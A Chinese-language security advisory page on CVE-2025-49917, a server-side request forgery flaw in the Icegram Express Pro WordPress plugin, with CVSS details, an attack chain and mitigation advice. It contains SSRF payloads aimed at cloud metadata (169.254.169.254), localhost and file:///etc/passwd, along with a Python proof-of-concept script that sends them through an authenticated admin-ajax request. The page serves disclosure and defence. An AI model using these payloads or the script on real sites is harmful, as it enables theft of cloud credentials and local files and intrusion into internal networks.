IPBUF安全漏洞报告
English
CVE-2025-49917 CVSS 4.4 中危

CVE-2025-49917:Icegram Express Pro插件SSRF漏洞

披露日期: 2025-10-22

漏洞信息

漏洞编号
CVE-2025-49917
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Icegram Express Pro (email-subscribers-premium)

相关标签

SSRF服务端请求伪造WordPressIcegram Express Proemail-subscribers-premium插件漏洞中危漏洞CVE-2025-49917Patchstack邮件订阅

漏洞概述

CVE-2025-49917是WordPress插件Icegram Express Pro(高级邮件订阅插件)中存在的一个服务端请求伪造(SSRF)漏洞。该漏洞由Patchstack安全团队通过审计发现并报告,披露日期为2025年10月22日。Icegram Express Pro是一款广泛使用的WordPress邮件营销插件,允许网站管理员创建和管理邮件订阅列表、发送营销邮件等。

该SSRF漏洞存在于插件的服务器端处理逻辑中,攻击者可以通过构造特定的请求,利用服务器端代码向内部网络资源或任意外部URL发起请求。由于该漏洞需要高权限(PR:H)才能利用,因此攻击者通常需要先获取管理员或具有相应权限的账户访问权限。漏洞的CVSS评分为4.4,属于中危级别,主要影响机密性和完整性,对可用性没有影响。

该漏洞影响Icegram Express Pro从n/a到5.9.5及以下的所有版本。WordPress作为全球使用最广泛的内容管理系统,其插件生态的安全性至关重要。SSRF漏洞可能导致内部网络信息泄露、访问云元数据服务(如AWS的169.254.169.254)、绕过防火墙限制访问内部服务等风险,对企业级WordPress站点构成潜在威胁。建议使用该插件的网站管理员及时更新到修复版本,以消除安全风险。

技术细节

服务端请求伪造(SSRF)是一种攻击者能够诱使服务器端应用程序向非预期目标发起HTTP请求的漏洞。在Icegram Express Pro插件中,漏洞存在于处理用户输入URL的服务器端功能中。

漏洞原理:插件在处理某些功能(如邮件模板预览、外部资源获取等)时,未对用户提供的URL进行充分的验证和过滤。攻击者可以构造指向内部网络地址或受限资源的URL,服务器端代码会直接使用该URL发起请求,从而绕过网络访问控制。

利用方式:
1. 攻击者首先需要获取具有高权限的WordPress账户(如管理员权限),因为漏洞利用需要PR:H(高权限要求)。
2. 登录后,攻击者访问Icegram Express Pro插件的相关功能页面。
3. 在URL输入字段中,构造恶意的SSRF payload,例如:
- 访问内部网络资源:http://127.0.0.1/admin
- 访问云元数据服务:http://169.254.169.254/latest/meta-data/
- 读取本地文件:file:///etc/passwd
4. 提交请求后,服务器端会向攻击者指定的URL发起请求,并将响应内容返回给攻击者。
5. 攻击者可以通过分析响应内容获取敏感信息,如内部服务状态、云凭据等。

该漏洞的危害程度受限于需要高权限才能利用,但一旦攻击者获取了管理员权限,SSRF漏洞可以被用来进行内网渗透,扩大攻击范围。

攻击链分析

STEP 1
步骤1:获取高权限账户
攻击者通过钓鱼、暴力破解或利用其他漏洞获取WordPress管理员或编辑权限的账户,因为SSRF漏洞利用需要高权限(PR:H)。
STEP 2
步骤2:登录WordPress后台
使用获取的高权限账户登录目标WordPress站点的管理后台,确保能够访问Icegram Express Pro插件的功能页面。
STEP 3
步骤3:定位漏洞功能点
在WordPress后台中找到Icegram Express Pro插件的相关功能(如邮件模板预览、URL获取等),这些功能接受用户输入的URL参数。
STEP 4
步骤4:构造SSRF Payload
在URL输入字段中输入恶意URL,如内部网络地址(http://127.0.0.1)、云元数据服务(http://169.254.169.254)或file://协议读取本地文件。
STEP 5
步骤5:触发SSRF请求
提交请求后,服务器端代码使用攻击者提供的URL发起HTTP请求,由于缺乏验证,请求会成功发送到攻击者指定的目标。
STEP 6
步骤6:收集敏感信息
分析服务器返回的响应内容,获取内部网络拓扑、云服务凭据、应用配置等敏感信息,为后续内网渗透做准备。
STEP 7
步骤7:扩大攻击范围
利用获取的内部信息,攻击者可以进一步渗透内部网络,访问其他受限服务或获取更高权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-49917 - Icegram Express Pro SSRF PoC # Vulnerability: Server-Side Request Forgery in email-subscribers-premium <= 5.9.5 # Requires: High privilege (admin or editor level access) import requests from urllib.parse import urljoin class IcegramSSRF: def __init__(self, target_url, cookies): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.session.cookies.update(cookies) self.ajax_url = urljoin(self.target_url, '/wp-admin/admin-ajax.php') def exploit_ssrf(self, target_internal_url): """ Exploit SSRF via Icegram Express Pro plugin target_internal_url: Internal URL to access (e.g., http://127.0.0.1, http://169.254.169.254) """ # Payload targeting the vulnerable endpoint payload = { 'action': 'es_preview_email', 'url': target_internal_url, 'es_type': 'preview' } try: response = self.session.post( self.ajax_url, data=payload, timeout=10 ) return { 'status': response.status_code, 'content': response.text[:500] if response.text else 'No content', 'url': target_internal_url } except Exception as e: return {'error': str(e), 'url': target_internal_url} # Usage example: # cookies = {'wordpress_logged_in_xxx': 'admin_session_cookie'} # exploit = IcegramSSRF('http://target-wordpress-site.com', cookies) # result = exploit.exploit_ssrf('http://169.254.169.254/latest/meta-data/') # print(result)

影响范围

Icegram Express Pro <= 5.9.5

防御指南

临时缓解措施
在等待官方修复版本发布期间,建议采取以下临时缓解措施:1)限制Icegram Express Pro插件的访问权限,仅允许可信的管理员使用;2)在Web服务器或WAF层面配置规则,阻止包含内网IP地址(127.0.0.1、192.168.x.x、10.x.x.x、172.16-31.x.x等)和云元数据地址(169.254.169.254)的请求;3)通过PHP配置禁用危险的协议包装器;4)加强WordPress管理员账户的安全防护,包括启用双因素认证、使用强密码策略;5)监控服务器的出站网络连接,及时发现异常请求;6)如果插件功能不是必需的,考虑暂时停用该插件以消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表